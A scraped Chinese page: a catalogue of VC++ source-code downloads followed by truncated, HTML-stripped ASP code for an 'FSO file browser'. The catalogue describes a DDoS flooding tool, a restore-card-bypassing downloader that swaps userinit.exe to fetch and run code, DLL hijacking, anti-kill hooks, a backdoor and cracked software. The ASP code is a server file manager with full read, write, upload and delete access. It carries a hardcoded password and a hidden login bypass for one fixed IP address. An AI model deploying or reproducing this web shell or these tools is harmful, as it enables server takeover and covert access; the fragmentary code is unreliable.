知道的人不多,但提起国内的暴风影音,我想知道的人就多了,其实暴风影音就是Media Player Classic,暴风影音只是同我一样从Gabest官方下载到了Media Player Classic的源码,不同的是,暴风影音将Media Player Classic改成了自己的名字并加入了许多的解码器,打包成自己的产品,其实这也无可厚非,关键就在于其作者老爱把里面捆绑一些我们用不到的软件. TT--仿qq+p2p通讯（nat穿透） 如题。 VC++遍历文件夹自动生成目录树 对CTree控件的操作。 vc++动态链接库(dll)编程深入浅出 内含开发文档。主要是对动态链接库的教程。 vc++动态链接库编程之DLL典型实例源代码下载 如题。 VC++仿Dreamweaver取色器源代码 如题。非常简单。 VC++挂机锁屏系统源程序 如题。非常简单。 VC++建立桌面或开始菜单快捷方式 如题。非常简单。 VC++界面库编程 SkinMagic 2.21 动态库版本的使用和 Skin++动态库及静态库版本的使用。 VC++精仿QQ2008窗体及分类菜单 效果逼真。就是几个控件的自绘以及使用。 VC++卡通风格气泡提示源码 重绘窗体实现。 VC++实现任务管理器源码 任务管理器应该大家都很熟悉，论坛里也有好多的任务管理器的源码，解决CListCtr刷新时滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例，把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++视频捕捉系统 win32下 视频操作。 VC++视频会议系统（完整） 有开发文档。使用了系统自带的视频。 Windows核心编程(第五版)随书源代码 如题。 vc-ftp 多线程操作多文件传输的操作。 VC版下载者 源码 非常简单的一个实例，使用了URLDownloadToFile下载文件。 VC断点续传源代码 从fnMyDownload开始，程序首先解析输入的url，拆分为地址，路径，文件名等。然后获取文件头，得到文件大小，然后再下载。重点函数是ThreadDownLoad。下载完之后用FileCombine合并文件。Mydownload.cpp底端的fnMyDownload函数是下载器的关键函数。 点对点多线程断点续传软件《传圣》源代码 本实例适用于装有IP/TCP协议的电脑. 主要功能:电脑间传送大型文件.(如电影等) 主要特点: 1.采用了多线程技术,速度明显高于同类软件. 2.支持多文件同时传送. 3.支持段点继传,也就是说文件可分N次传送. 4.分服务端和客户端,服务器支持多客户. 5.在传送过程中可实实对话,有聊天功能. 6.为了提高效率,本软件做得短小精悍,两文件总共只有100K,直截运行,不用安装. 7.麻雀虽小,但五脏俱全,功能多,操作方便. 使用方法: 在服务端加入要传文件,客户端输入服务端IP地址(服务端运行后会显示),点击连接,即会显示服务端文件,双击即可下载! 现在是测试版,欢迎多提意义. 断点续下 内含：多文件下载、多文件发送、下载进度条显示等。 多任务多线程断点续传DLL 如题。 多线程文件下载 如题。 多线程查找文件(功能增强版) 自定义了一个文件搜索类。多线程实现。 多线程高速文件搜索程序源码 自定义了一个文件搜索类， 实现： BOOL StartFinder(); //开始查找 void PauseFinder(); //暂停查找 void ResumeFinder(); //继续查找 void StopFinder(); //停止查找 void Finde rReset(); //查找重置 功能。 VC++视频聊天系统源代码 实例简单，有用户登录、传输文件、视频、画质调节、禁音检测、回音消除、自动增益、噪音抑制、视频控制等、 VC++搜索指定文件夹中的文件 如题。非常简单。 VC++文件分割、合并工具 自绘了Button、CProgressCtrl、CAutoFont。主要操作在CFileSpltDlg中。 vc++写的音乐播放器 如题。含有绘图效果。 VC++制作3D效果的旋转文字特效 如题。 VC++注册码加密源程序（含注册机、解密机） 压缩包内有两个源码包，一个是注册机源程序，另一个是解密机的源程序，一套完整的参考实例。 VC+MapX源码含GPS跟踪演示 如题。 VC3D 利用VC编程在界面上实现3D文字 在MFC应用程序中浏览PDF、Word文档文件 如题。 vcdialog 自绘对话框。 vc编程：自动停靠窗体，吸附窗体 OnMoving事件处理。 vc基于HTTP协议断点续传和多线程下载源代码 如题。 VC满屏开满玫瑰花 如题。 VC然输入框出现气球提示 调用系统自带的提示显示。 VC实现创建模态对话框 如题。 VC释放EXE资源文件 如题。 vc网络 网络系列使用教程。 VC星号密码探测显示程序 简单。 vc网络通信编程实用案例精选 局域网网络通信编程实例、IE编程实例、基本网络编程实例、网络通信协议编程、Modem /串口通信编程、代理服务器编程实例、高级网络通信编程实例。 Visual_C++网络高级编程 TCP/IP协议、Winsock网络编程接口、Visual C 与网络编程、基本网络编程技术、Telnet协议的实现、HTTP协议的实现、 FTP协议的实现、文件下载、UDP协议的实现、ICMP协议的实现、PPP协议的实现、代理服务器的实现、 ATL DCOM和ActiveX技术、网络安全。 vld-10-src 内存泄漏检测源码。 vmrplayer 简单播放器的实现，集成到了一个类中。 ATL开发Gif的ActiveX控件 如题。使用控件显示gif文件。 weather(天气预报界面) 通过soso网站获得城市以及天气信息。 WebBrowser-Httprequest(http请求捕捉) 如题。 Win32多线程程序设计 有文档以及源码。 Windows Media Player界面的实现 如题。 Windows Shell扩展 实现文件拷贝。 windows设计 源码 书本源码。1.VC++的基本使用 2.一个简单的HelloWorld程序 3.进程的创建 4.进程控制 5.控制其他进程 6.游戏内存修改器1 7.游戏内存修改器2 8.多线程 9.线程的优先级 10.线程同步 11.第一个窗口程序 WINDOWS网络编程技术-附源码 如题。内有文档以及源码。 WM调用DrectShow例子 wm播放器。 XFileDialog_demo xml文件操作。 xml 树控件的使用，以及ChtmlView或站点拦截调用等。 XML文件读取及管理工具VC++源码 重写了很多控件，重要功能源码集合到了CXML类中。 暴风压力测试2010(V7.0)源码 如题，演示了攻击服务端的源码，tcp多连接攻击、cc攻击等等……。 播放器 MM ARM_流媒体、暴风影音源码用于编解码分析。 超清晰播放器源代码 如题。 超旋的音乐播放器 含歌词……，效果看源码。 穿还原的下载者 C++源码 驱动程序可以穿透还原卡，并且可以修改系统文件，这里是通过修改系统文件userinit.exe来实现的。userinit.exe的功能很简单，就是启动explorer.exe。这里就是通过替换uerinit.exe，伪造一个userinit.exe。这个伪造的程序可以实现uerinit.exe的原始功能，并可以实现自定义的功能，比如下载执行，发送数据。 窗体透明、窗体上控件和DC绘图不透明 如题。 从dll中动态装载类的源程序 如题。 打印函数 测试打印函数的功能。 大型多媒体视频会议服务器端和客户端源码VC 如图，基于H323格式。 发一个界面库skin#全集合 SkinH_VC使用帮助(含源码)、Skinsharp V1.0.6.6各种语言全破解、vc全部函数各自独立的demo、制作皮肤工具。 仿360杀毒软件界面源码 MFC重载控件实现了360界面效果。 仿QQ、MSN信息提示窗口 重载CWnd实现了动画显示。 仿QQ2011界面的源码 如题。 仿QQ信息提示窗口 如题。 仿金山词霸界面 如题。 仿制金山毒霸专杀工具界面 如题。 漂亮c 界面源码 如题。 漂亮的编辑框 重载CEdit实现自绘。 实现QQ界面绝对经典 如题。 用户界面多线程 多线程的使用。 搞基控件 ComboBox 演示了ComboBox控件的使用方法。 搞基控件 List Ctrl 演示了List Ctrl控件的使用方法。 搞基控件 ListBox 演示了ListBox控件的使用方法。 搞基控件 Tab Ctrl 演示了Tab Ctrl控件的使用方法。 搞基控件 TreeCtrl 演示了TreeCtrl控件的使用方法。 带加密功能的SQLite3.3.6封装类 如题。 第12章+DLL开发与系统编程 创建导出浮点数四则运算函数的Win32 DLL、使用显式方式调用DLL实现浮点数的四则运算、使用隐式方式调用DLL实现浮点数的四则运算、创建Win32 DLL导出一个全局变量、调用DLL，获取其导出的全局变量值、创建Win32 DLL导出一个计算长方体表面积和体积的类、调用DLL，使用其导出类计算长方体的表面积和体积、创建MFC常规DLL，通过导出函数显示颜色信息对话框、调用MFC常规DLL，显示颜色信息对话框、创建MFC扩展DLL，实现圆形按钮类、调用MFC扩展DLL，创建圆形按钮、创建记录键盘动作的全局钩子DLL、调用键盘钩子DLL，实现监视系统的键盘操作、创建记录当前鼠标所在窗口标题信息的鼠标钩子DLL、调用鼠标钩子DLL，显示鼠标所在窗口的标题、获取当前操作系统的版本信息、获取系统CPU信息、获取系统内存的相关信息、获取当前系统所有安装的硬件设备、调用系统关机对话框、编码实现关闭和重启计算机、实现休眠计算机，并创建快捷键、显示并设置系统的显示属性、隐藏显示系统的任务条、改变系统的桌面壁纸。 对磁盘下任意目录的动作进行监控 创建线程不断的监视。 多功能小闹钟 不规则窗体效果显示，实现了多功能的小闹钟。 仿QQ和飞秋的局域网聊天程序（文件+语音） 这个程序用的协议是UDP，socket是CAsyncSocket，这是我在这个网站看到了qq也优先用UDP来连接服务器，连上服务器，能获得服务器上的人员列表，客户端的人员列表随用户上下线改变，服务器掉线了 也能收到通知，双击用户名字可以聊天，聊天窗口上有个文件传输，在我电脑上能传输一些小文件，但在别人电脑上就会使程序崩溃。 工具栏画到标题栏上 如题。 关联文件 自动恢复系统文件关联，以及文件关联操作的代码。使用注册表防止多次运行。 基于CDialogBar的IE多标签栏的实现 如题。 基于IE内核的多进程浏览器Raptor 基于WTL控件实现了多进程。 极速FTP客户端程序（VC++版） 如题。 截屏mfc和dll程序 如题。 进程防杀的实现 Hook TerminateProcess()函数，每次TerminateProcess()被调用的时候先判断企图结束的进程是否是我的进程，如果是的话就简单地返回一个错误码就可以了。 精美挂机锁源码 如题。 局域网视频监控 如题。 客户端和服务器 考虑到作为服务器的一端一般来说是固定的，所以当开启服务器后，一般服务器是不能停止的，所以在正式的软件里面，作为客户端让输入的服务器端IP的那一项是可以省略的，因为在制作安装程序的时候可以将服务器IP直接固定，但是这个作为简单的功能演示版本考虑到作为服务器的一端可以为任意电脑，所以在客户端设置了填写服务器IP。运行时：首先是运行Sever.exe服务器端，然后是“开启服务器”，“产生新的随机码” ，然后运行Client.exe客户端，输入用户名和密码，然后输入服务器端IP地址，然后登陆服务器，如果密码或者登陆号不正确会有提示，也可以选择试用版的软件。 快捷键 演示了快捷键设置的代码。 类似QQ截屏的屏幕取色器 主要功能在CColorPickerDlg中。 两款拼音输入法源代码 拼音输入法、AboutWiz_src。 枚举进程 系统监视 有磁盘监视、系统目录监视，任务栏监视、端口监视、流量监视等等。 媒体播放器 如题。音乐播放器的实现，内有文档以及总结。 模仿QQ抖动 如图，简单。 闹钟软件V1.0 （带VC++源码） 基于MFC窗体的闹钟。 能弹出复选框组合列表的combobox 如题。 屏幕放大镜源代码 如题。 屏幕监控+远程控制+mfc+vc 如题。 屏幕录像模块程序设计 如题。 屏幕录像源代码 如题。 屏幕小精灵 如题。 七彩泡泡屏保代码 如题。 轻松实现类VC界面 两个窗口的实现类是从CControlBar派生出来的，我们并不需要从头到尾实现该类，因为Cristi Posea先生已经为我们实现了一个称为CSizingControlBar的类，而且做得相当完美！我们所要做的便是好好地利用该类,为了尽可能地简洁，笔者将CSizingControlBar类修改了一下并命名为CCoolBar,接下来我们将详细介绍如何利用该类实现我们所需的界面。 全屏幕播放AVI文件的启动界面程序 如题。 全屏幕播放flash的动画启动界面 如题。 任务栏终级编程 如题。 三种方法来检索处理器信息 获取CPU的信息，以及判断是否支持MMX SSE SSE2 3DNOW等等操作。 深入解剖远程管理软件编写 教程，如题。 深入解析ATL(第二版)源代码资源大小 附带书籍源码。 深入体验VC开发源码 附带书籍源码。 十进制、十六进制、二进制互相转换的VC++程序 如题。 实现DLL拦截 在windows下当一个可执行文件运行时，Windows加载器将可执行模块映射到进程的地址空间中，加载器分析可执行模块的输入表，并设法找出任何需要的DLL，并将它们映射到进程的地址空间中。由于输入表是根据DLL名来进行查找,首先是查找当前目录下有没这文件，没有话在去查找系统目录C:\\Windows\\system32有没这文件，所以我们可以完全趁这个机会去劫持DLL，把他劫持下来后就可以在里面进行我们要做的事情。 实现DLL内存补丁,DLL劫持技术([Symanli原创]) 同上。 实现EDIT控件自绘 如题。 使用VC编写的文件加解密操作类 自定义封装了一个文件加解密类，对文件加解密。lzari.c提供了lzari压缩算法的实现。 视频+语音+播放器源代码（不断更新内容） H.323 开发包与源码、P2P视频技术源码、TopPlayerSrc、VOD核心源码、大型多媒体视频会议服务器端和客户端源码、屏幕截取制作avi的源代码、视频会议系统、视频聊天源代码、优秀的IP网络语音通讯软件Speak Fleely源代码。源码与上面的有些重复。 手机远控电脑源码 分两个模式：一个是短信模式，一个浏览器模式。只要你遵循数据包的格式发送数据就一定可以成功的。不过不是源码。 手写输入法源码 太简单的实例。有利于对输入法开发的入门和深入学习。 鼠标钩子 钩子的实现。如题。 完全自绘软件更换皮肤例子 如题。 完整源码 统计后台([源码信息] 梦者 绿色下载器 流量商必备 ) 本统计后台无须安装数据库。可直接使用。 可多用户登录，多用户统计，顶级防刷，一键扣量，等等强大功能。 count.asp -- 统计页面 conn.asp -- 里面有惊喜哦..想扣量 赶紧用记事本打开看看哦.有详细说明. user.asp -- 用户登录页面 admin\admin_login_welcome.asp -- 管理员登录页面 默认: admin 密码: xiaobing 网络电视软件源码 如题。 网络电台收听助手V3.0（VC源码） 如题。 文件(文件夹)加密解密工具源码 源码实现了主要功能：1 文件(夹)加密解密 2 文件夹伪装保护解除伪装 3 右键关联加密解密到系统菜单 4 开机最小化启动到托盘(气球提示) 5 支持文件(文件夹)拖动 6 支持WIN2000，XP,VISTA,WIN7。非常好的一个实例。 文件加密程序 自绘了很多控件，使用了多线程加密以及解密，支持换肤，非常好的一个实例。详细见源码啦。 文件夹加密小程序 简单的加密源码。 文件捆绑器源代码 文件操作的实例，主要功能在BindFileDlg。 文字图象识别OCR系统开发包 引用了第三方库OcrWencui.lib 来识别。 显示网络流量 监听了端口显示了网络流量，使用了绘图显示了出来。学习流量监控的好例子。是使用了自绘按钮实现的。 线程池的一种实现 如题。 相当不错的一个挂机锁 同上。 写日志log的类 封装了一个类Log,使用它输出信息。 循序渐进实现仿QQ界面 六个步骤实现了QQ类似界面、仿QQ界面上的各种自绘控件。 迅雷资源搜索 如题。 阳历阴历转换 封装了一个CLunar实现阳历阴历转换。 一个服务端只有7k大小的后门 RegOpenKeyEx和RegCreateKeyEx函数由于电脑经常会关闭，或者应用程序也会经常关闭，但有一些参数是经常需要保存。比如当你打开程序，并设置了窗口的大小，想每次打开时都设置窗口为上次打开的大小。这样就需要保存窗口的大小，那么窗口大小的参数保存到那里呢？其实在Windows里最方便的做法，就是保存到注册表里。又比如游戏登录时，总是想保存最后一个登录的用户，那么也需要保存这个用户到注册表里。其实注册表是Windows保存系统配置的数据库，比如不同的语言设置，不同的时区设置，不同的用户登录，不同的权限等等。下面就来学习怎么样使用函数RegOpenKeyEx来打开注册表里的键和用函数RegCreateKeyEx来创建新的键。 一个可以获取硬件信息源代码 如题。 一个轻量级网络通信开发库源码 如题。 音乐播放器 如题。 音频录入mfc源码 如题。 用C写的播放器，超强 引用了libmad库、ogg库、Zlib库等等，强烈推荐学习。 优美菜单 自绘右键菜单。 在ToolBar上添加控件 在工具栏上添加COMBOBOX,EditBox,ProgressCtrl,Slider控件，根据相同的道理您还可以添加其他控件复选框、单选按钮等等 注册表监控程序 该程序的作用是记录系统发生的注册表操作，（只记录成功的，忽略失败的） 自己动手写操作系统 书籍。 自由更改文件对话框的外观 自绘对话框。 应用程序与驱动通信(DeviceIoControl ) 这是教程。 VC++系统开发实例精粹 光驱控制程序、枚举当前所有窗体、硬件信息查看器、注册表操作程序、USB编程、目录浏览器、资源管理器、二进制浏览器、日历管理器、字体设置对话框、任意形状窗体、自动停靠窗体、带图像的下拉列表框、实时曲线显示、OutLooK风格界面、屏幕保护系统、MP3播放器、MIDI音乐演奏器、VFW视频捕捉系统、256色转换灰度图、对比度拉伸、二值化变换、反色、亮度增减、取对数、取指数、直方图均衡、灰度均衡、阈值变换、图像镜像、图像平移、图像缩放、图像旋转、高斯平滑、均值滤波、拉普拉斯边缘检测、梯度锐化、中值滤波、离散余弦变换、傅立叶变换、Walsh变换、方块编码、图像细化、Canny算子提取边缘、Hough变换、逆滤波处理、维纳滤波处理、文字、图像特效显示、带预览的图像选择框、图像浏览器、聊天室、CRC循环冗余检测、ICMP系统、能够发送附件的邮件程序、获取多个IP地址、获取计算机基本网络设置、获取计算机安装的各种网络协议、远程监控系统、FTP客户端、类似MSN的即时通信工具、文件共享系统、考试成绩管理系统、学生管理信息系统、二进制数据库编程、多线程实例、动态链接库（DLL）实例、消息循环重载实例、进程查看程序、文件关联实例、剪贴板查看器、键盘发声系统、运行后自销毁的程序、文件查找系统 、屏幕拷贝实例、文件分割器、密码探测器、带微调和滑动条控件的工具栏、透明窗体实例、状态栏动画、圆盘式和数字式时钟实例、Windows XP风格菜单、 Office XP风格菜单、Windows XP风格标题栏、Windows XP风格对话框、Windows XP风格按钮和滚动条、基于DirectSound的声音播放器、AVI视频制作实例、电影播放器、仿Winamp多媒体播放器、BMP图片浏览器、小波算法的VC++实现、基因算法的VC++实现、细胞识别统计系统、基于神经网络的文字识别系统、车牌定位与识别系统、点对点文件传输、Sniff网络嗅探器、基于UDP的网段扫描器、网络流量监控系统、网络语音电话、HTTP服务器实例、数据库浏览器、数据库查询器、报表打印实例、课程管理信息系统、库存管理信息系统、医院管理信息系统。 ----------VC系统开发项目 VC++餐厅餐饮管理系统 这是一个毕业课程设计，含论文，简单明了，全部引用了MFC控件实现，主要是操作数据库的部分。 VC＋＋开发的仓库管理系统设计文档和源码 如题，含论文，简单明了，全部引用了MFC控件实现，主要是操作数据库的部分。 VC++库存管理系统（毕业设计） 如题，含论文，简单明了，全部引用了MFC控件实现，主要是操作Access数据库的部分。 VC++图书管理系统完整版 一个简单的客户端操作数据库的程序。 餐饮管理系统（全程开发） 同下。有测试部分。 餐饮管理系统 如题，简单。 超市进销存管理系统 基本功能：前台销售结帐、基本信息管理、基本信息查询、日结查询、超市小票打印。操作ORACLE数据库。 局域网监控系统 主要功能：系统采用人机交互的方式，界面美观友好、屏幕信息需要时时显示，网络延时不能大于1秒、服务器端可以随时运行，只要客户端运行，就能够显示屏幕信息、系统运行时占用内存不能大于10MB，以免影响系统性能、客户端运行时需要隐藏显示窗口，起其感觉不到在运行。 库存管理信息系统 在运行系统前，首先要安装SQL Server数据库，注意要设定用户名为“sa”，密码为空。 可以有两种方法创建该数据库：1.使用SQL server查询分析器运行Database目录下的sql.txt中的sql语句，这样会创建stock数据库。2.使用SQL Server的企业管理器直接附加“附加数据库文件”目录下的Stock.mdf文件。系统默认帐号：admin 密码：888888 企业办公管理系统 这个源码不错，自定义了很多类，适合学习。 企业电话语音录音管理系统 主要功能：采用人机对话的操作方式，界面设计美观友好、操作灵活、方便、快捷、准确、数据存储安全可靠。系统可以进行来电显示和来电接听等功能。提供电话拨出功能，可以通过程序拨出电话。提供客户管理功能，记录客户信息，并可以在拨出电话时以电话簿的形式显示客户信息。提供电话录音功能，当电话接通时开始录音，当电话挂断时结束录音。提供录音管理功能，可以通过程序修改录音文件的存储位置。系统最大限度地实现了易维护性和易操作性。系统运行稳定、安全可靠。适合学习。 企业短信群发管理系统 主要功能：电话簿管理。常用语管理。短信息发送。短信息接收。短信猫设置。不过使用了第三方库实现发送接受等功能。 人力资源管理系统 主要功能：系统界面设计美观、友好；智能化程度高、操作灵活、方便；系统运行稳定、安全可靠；反应快速、计算准确；实现新员工入职登记、查询修改及入职合同的录入、编辑；登记并可以浏览日常考勤信息；记录公司定期的员工考核成绩；实现部门用人申请的登记；实现应聘者信息备档；实现工资单自动录入及缺勤原因的扣资计算。 社区视频监控系统 本程序有三个实例，msado15（数据库）、Autodlg（操作文件）、Capture（主要的程序）。本实例是天敏VC4000监控卡，其中使用了MPG4c32.dll、MediaTransmit.dll、MediaTransmit.lib、MediaTransmit.h、Sa7134Capture.dll、Sa7134Capture.lib和Sa7134Capture.h几个文件，在运行程序前，需要将这些文件添加到当前工程中。程序中没有提供这些文件。 图书管理系统 如题。 物流综合管理系统VC源码+毕业设计 如题。 学生管理系统 如题。 学生考试系统 如题。
fso浏览54646465465464564
<% '========================== 版权声明 ========================= '本程序只供在需要特别处理服务器文件时使用，严禁用于非法目的 '由于非正当使用本程序而造成的一切后果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数中所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关，万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO文件浏览器 - 系统磁盘信息
FSO文件浏览器 - 系统磁盘信息
<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>
盘符类型卷标文件系统总容量可用空间
"&oDrive.DriveLetter&""&getDriveType(oDrive.DriveType)&""&oDrive.VolumeName&""&oDrive.FileSystem&""&SizeCount(oDrive.TotalSize)&""&SizeCount(oDrive.FreeSpace)&"
<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO文件浏览器 - 新建 <script language="JavaScript"> function icheck() { if(document.rform.nname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; }
FSO文件浏览器 - 新建
类型：文件夹 文件
名称：
 
<% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "<script language='javascript'>alert('文件夹不存在！');history.back();alert('文件或文件夹已存在！');history.back();alert('新建文件夹或文本文件成功！');window.close();alert('您编辑的不是文件或文件不存在！');window.close(); FSO文件浏览器 - 编辑文本文件
FSO文件浏览器 - 编辑文本文件
文件名： <% =Fname %>
<% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功！" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功，请粘贴！" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切！" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹在源文件夹内,非法操作！" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存在！" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存在！" Exit Sub End If '================ EchoClose "复制或移动成功！刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存在！" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存在" Exit Sub End If EchoClose "文件删除成功！" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If %> FSO文件浏览器 - 文件上传 <script language="JavaScript"> function getSaveName() { var filepath=document.uform.upload.value; if(filepath.length<1) return; var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length); document.uform.ffname.value=filename; }
FSO文件浏览器 - 文件上传
上传文件：
保存为： 覆盖模式
 
<% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名！" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败！（可能是文件已存在）" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO文件浏览器 - 文件属性 <script language="javascript"> function ww(obj) { return false; }
FSO文件浏览器 - 文件属性
路径：<% =obj.Path %>
大小：<% =SizeCount(obj.Size) %>
属性： >普通 >只读 >隐藏 >系统
>目录 >存档 >链接 >压缩
创建时间：<% =obj.DateCreated %>
创建时间：<% =obj.DateLastModified %>
最后访问<% =obj.DateLastAccessed %>
 
<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性！" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功！" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call 